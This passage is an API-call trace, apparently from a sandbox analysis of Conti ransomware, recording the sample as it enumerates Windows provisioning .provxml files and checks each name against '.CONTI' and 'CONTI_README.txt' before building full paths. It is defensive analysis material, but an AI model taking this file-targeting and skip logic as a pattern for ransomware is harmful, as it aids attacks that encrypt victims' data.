	[0109.587] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912ac947, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912ac947, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912ac947, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="525__C~1.PRO")) returned 1
	[0109.587] lstrcmpiW (lpString1="525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.587] lstrcmpiW (lpString1="525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.587] StrStrIW (lpFirst="525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.587] StrStrIW (lpFirst="525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.587] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.587] lstrlenW (lpString="525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.587] GetProcessHeap () returned 0x1720000
	[0109.587] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x1809b30
	[0109.587] lstrcpyW (in: lpString1=0x1809b30, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.587] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.587] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml"
	[0109.587] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912d2bb2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912d2bb2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912d2bb2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="526__C~1.PRO")) returned 1
	[0109.587] lstrcmpiW (lpString1="526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.587] lstrcmpiW (lpString1="526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.587] StrStrIW (lpFirst="526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.587] StrStrIW (lpFirst="526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.587] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.587] lstrlenW (lpString="526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.587] GetProcessHeap () returned 0x1720000
	[0109.587] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x18099e8
	[0109.587] lstrcpyW (in: lpString1=0x18099e8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.587] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.588] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml"
	[0109.588] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912d2bb2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912d2bb2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912d2bb2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="527__C~1.PRO")) returned 1
	[0109.588] lstrcmpiW (lpString1="527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.588] lstrcmpiW (lpString1="527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.588] StrStrIW (lpFirst="527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.588] StrStrIW (lpFirst="527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.588] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.588] lstrlenW (lpString="527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml") returned 80
	[0109.588] GetProcessHeap () returned 0x1720000
	[0109.588] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x156) returned 0x1814e78
	[0109.588] lstrcpyW (in: lpString1=0x1814e78, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.588] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.588] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml"
	[0109.588] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912d2bb2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912d2bb2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912d2bb2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="528__C~1.PRO")) returned 1
	[0109.590] lstrcmpiW (lpString1="528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.590] lstrcmpiW (lpString1="528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.590] StrStrIW (lpFirst="528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.590] StrStrIW (lpFirst="528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.590] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.590] lstrlenW (lpString="528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.590] GetProcessHeap () returned 0x1720000
	[0109.590] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x1809c78
	[0109.590] lstrcpyW (in: lpString1=0x1809c78, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.590] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.590] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml"
	[0109.590] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912d2bb2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912d2bb2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912d2bb2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="529__C~1.PRO")) returned 1
	[0109.590] lstrcmpiW (lpString1="529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.590] lstrcmpiW (lpString1="529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.590] StrStrIW (lpFirst="529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.590] StrStrIW (lpFirst="529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.590] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.590] lstrlenW (lpString="529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.590] GetProcessHeap () returned 0x1720000
	[0109.590] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x1818b40
	[0109.590] lstrcpyW (in: lpString1=0x1818b40, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.590] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.590] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.590] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902943e8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902943e8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902943e8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x291, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", cAlternateFileName="52__CO~1.PRO")) returned 1
	[0109.590] lstrcmpiW (lpString1="52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.590] lstrcmpiW (lpString1="52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.591] StrStrIW (lpFirst="52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.591] StrStrIW (lpFirst="52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.591] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.591] lstrlenW (lpString="52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml") returned 79
	[0109.591] GetProcessHeap () returned 0x1720000
	[0109.591] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x154) returned 0x18159b8
	[0109.591] lstrcpyW (in: lpString1=0x18159b8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.591] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.591] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml"
	[0109.591] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912f8e1e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912f8e1e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912f8e1e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="530__C~1.PRO")) returned 1
	[0109.591] lstrcmpiW (lpString1="530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.591] lstrcmpiW (lpString1="530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.591] StrStrIW (lpFirst="530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.591] StrStrIW (lpFirst="530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.591] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.591] lstrlenW (lpString="530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.591] GetProcessHeap () returned 0x1720000
	[0109.591] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x1809dc0
	[0109.591] lstrcpyW (in: lpString1=0x1809dc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.591] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.591] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml"
	[0109.591] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912f8e1e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912f8e1e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912f8e1e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="531__C~1.PRO")) returned 1
	[0109.591] lstrcmpiW (lpString1="531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.591] lstrcmpiW (lpString1="531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.591] StrStrIW (lpFirst="531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.591] StrStrIW (lpFirst="531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.591] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.591] lstrlenW (lpString="531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml") returned 65
	[0109.591] GetProcessHeap () returned 0x1720000
	[0109.591] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x180a050
	[0109.591] lstrcpyW (in: lpString1=0x180a050, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.592] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.592] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml"
	[0109.592] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912f8e1e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912f8e1e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912f8e1e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="532__C~1.PRO")) returned 1
	[0109.592] lstrcmpiW (lpString1="532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.592] lstrcmpiW (lpString1="532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.592] StrStrIW (lpFirst="532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.592] StrStrIW (lpFirst="532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.592] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.592] lstrlenW (lpString="532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.592] GetProcessHeap () returned 0x1720000
	[0109.592] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x180a198
